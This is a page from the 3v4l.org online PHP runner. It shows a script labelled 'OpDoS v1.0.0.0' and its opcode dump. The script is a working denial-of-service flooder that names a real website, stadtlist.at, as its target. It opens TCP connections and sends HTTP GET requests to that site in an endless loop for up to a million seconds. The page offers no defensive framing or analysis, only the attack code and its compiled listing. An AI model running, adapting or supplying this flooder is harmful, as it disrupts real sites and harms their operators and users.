3v4l.org

run code in 300+ PHP versions simultaneously
<?php //Configs $config = array ( 'URL' => 'http://www.stadtlist.at/', // URL of the target 'Limit' => 1000000, // how many sec/visit // Do not edit this... 'Version' => '1.0.0.0' ); //End of Configs $iTimeStamp = mktime(); $vString = '>##########################################################################'."\n <br>"; $vString .= '> #OpDoS v'.$config['Version']."\n <br>"; $vString .= '>'."\n <br>"; $vString .= '> URL: '.$config['URL']."\n <br>"; $vString .= '> Limit: '.$config['Limit'].' sec'."\n <br>"; $vString .= '>'."\n <br>"; $vString .= '> Started: '.date("h:m:s (d-M-Y)",$iTimeStamp)."\n <br>"; $vString .= '>##########################################################################'."\n <br>"; echo $vString; while (true) { _HTTP_Connect($config['URL']); if ((mktime()-$iTimeStamp)>$config['Limit']) {break;} } echo '> Finished: '.date("h:m:s (d-M-Y)",mktime()); function _HTTP_Connect($vURL) { $pURL = parse_url($vURL); $iPort = isset($pURL['port']) ? $pURL['port']:80; $TCPSocket = fsockopen($pURL['host'],$iPort); $TCPPacket = 'GET ' . $pURL['path'] . " HTTP/1.0\n"; $TCPPacket .= 'Host: ' . $pURL['host']; $TCPPacket .= "\n\n"; fwrite($TCPSocket,$TCPPacket); fclose($TCPSocket); } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 42
Branch analysis from position: 42
2 jumps found. (Code = 44) Position 1 = 43, Position 2 = 30
Branch analysis from position: 43
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 30
2 jumps found. (Code = 43) Position 1 = 41, Position 2 = 42
Branch analysis from position: 41
1 jumps found. (Code = 42) Position 1 = 43
Branch analysis from position: 43
Branch analysis from position: 42
filename:       /in/FHkKL
function name:  (null)
number of ops:  52
compiled vars:  !0 = $config, !1 = $iTimeStamp, !2 = $vString
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, <array>
   13     1        INIT_FCALL                                               'mktime'
          2        DO_ICALL                                         $4      
          3        ASSIGN                                                   !1, $4
   15     4        ASSIGN                                                   !2, '%3E%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%0A+%3Cbr%3E'
   16     5        FETCH_DIM_R                                      ~7      !0, 'Version'
          6        CONCAT                                           ~8      '%3E+%23OpDoS+v', ~7
          7        CONCAT                                           ~9      ~8, '%0A+%3Cbr%3E'
          8        ASSIGN_OP                                     8          !2, ~9
   17     9        ASSIGN_OP                                     8          !2, '%3E%0A+%3Cbr%3E'
   18    10        FETCH_DIM_R                                      ~12     !0, 'URL'
         11        CONCAT                                           ~13     '%3E+URL%3A+', ~12
         12        CONCAT                                           ~14     ~13, '%0A+%3Cbr%3E'
         13        ASSIGN_OP                                     8          !2, ~14
   19    14        FETCH_DIM_R                                      ~16     !0, 'Limit'
         15        CONCAT                                           ~17     '%3E+Limit%3A+', ~16
         16        CONCAT                                           ~18     ~17, '+sec'
         17        CONCAT                                           ~19     ~18, '%0A+%3Cbr%3E'
         18        ASSIGN_OP                                     8          !2, ~19
   20    19        ASSIGN_OP                                     8          !2, '%3E%0A+%3Cbr%3E'
   21    20        INIT_FCALL                                               'date'
         21        SEND_VAL                                                 'h%3Am%3As+%28d-M-Y%29'
         22        SEND_VAR                                                 !1
         23        DO_ICALL                                         $22     
         24        CONCAT                                           ~23     '%3E+Started%3A+', $22
         25        CONCAT                                           ~24     ~23, '%0A+%3Cbr%3E'
         26        ASSIGN_OP                                     8          !2, ~24
   22    27        ASSIGN_OP                                     8          !2, '%3E%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%0A+%3Cbr%3E'
   23    28        ECHO                                                     !2
   26    29      > JMP                                                      ->42
   27    30    >   INIT_FCALL_BY_NAME                                       '_HTTP_Connect'
         31        CHECK_FUNC_ARG                                           
         32        FETCH_DIM_FUNC_ARG                               $27     !0, 'URL'
         33        SEND_FUNC_ARG                                            $27
         34        DO_FCALL                                      0          
   28    35        INIT_FCALL                                               'mktime'
         36        DO_ICALL                                         $29     
         37        SUB                                              ~30     $29, !1
         38        FETCH_DIM_R                                      ~31     !0, 'Limit'
         39        IS_SMALLER                                               ~31, ~30
         40      > JMPZ                                                     ~32, ->42
         41    > > JMP                                                      ->43
   26    42    > > JMPNZ                                                    <true>, ->30
   31    43    >   INIT_FCALL                                               'date'
         44        SEND_VAL                                                 'h%3Am%3As+%28d-M-Y%29'
         45        INIT_FCALL                                               'mktime'
         46        DO_ICALL                                         $33     
         47        SEND_VAR                                                 $33
         48        DO_ICALL                                         $34     
         49        CONCAT                                           ~35     '%3E+Finished%3A+', $34
         50        ECHO                                                     ~35
   45    51      > RETURN                                                   1

Function _http_connect:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 10
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 10
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/FHkKL
function name:  _HTTP_Connect
number of ops:  34
compiled vars:  !0 = $vURL, !1 = $pURL, !2 = $iPort, !3 = $TCPSocket, !4 = $TCPPacket
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   33     0  E >   RECV                                             !0      
   34     1        INIT_FCALL                                               'parse_url'
          2        SEND_VAR                                                 !0
          3        DO_ICALL                                         $5      
          4        ASSIGN                                                   !1, $5
   35     5        ISSET_ISEMPTY_DIM_OBJ                         0          !1, 'port'
          6      > JMPZ                                                     ~7, ->10
          7    >   FETCH_DIM_R                                      ~8      !1, 'port'
          8        QM_ASSIGN                                        ~9      ~8
          9      > JMP                                                      ->11
         10    >   QM_ASSIGN                                        ~9      80
         11    >   ASSIGN                                                   !2, ~9
   37    12        INIT_FCALL                                               'fsockopen'
         13        FETCH_DIM_R                                      ~11     !1, 'host'
         14        SEND_VAL                                                 ~11
         15        SEND_VAR                                                 !2
         16        DO_ICALL                                         $12     
         17        ASSIGN                                                   !3, $12
   38    18        FETCH_DIM_R                                      ~14     !1, 'path'
         19        CONCAT                                           ~15     'GET+', ~14
         20        CONCAT                                           ~16     ~15, '+HTTP%2F1.0%0A'
         21        ASSIGN                                                   !4, ~16
   39    22        FETCH_DIM_R                                      ~18     !1, 'host'
         23        CONCAT                                           ~19     'Host%3A+', ~18
         24        ASSIGN_OP                                     8          !4, ~19
   40    25        ASSIGN_OP                                     8          !4, '%0A%0A'
   41    26        INIT_FCALL                                               'fwrite'
         27        SEND_VAR                                                 !3
         28        SEND_VAR                                                 !4
         29        DO_ICALL                                                 
   42    30        INIT_FCALL                                               'fclose'
         31        SEND_VAR                                                 !3
         32        DO_ICALL                                                 
   43    33      > RETURN                                                   null

End of function _http_connect

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.26 ms | 1404 KiB | 25 Q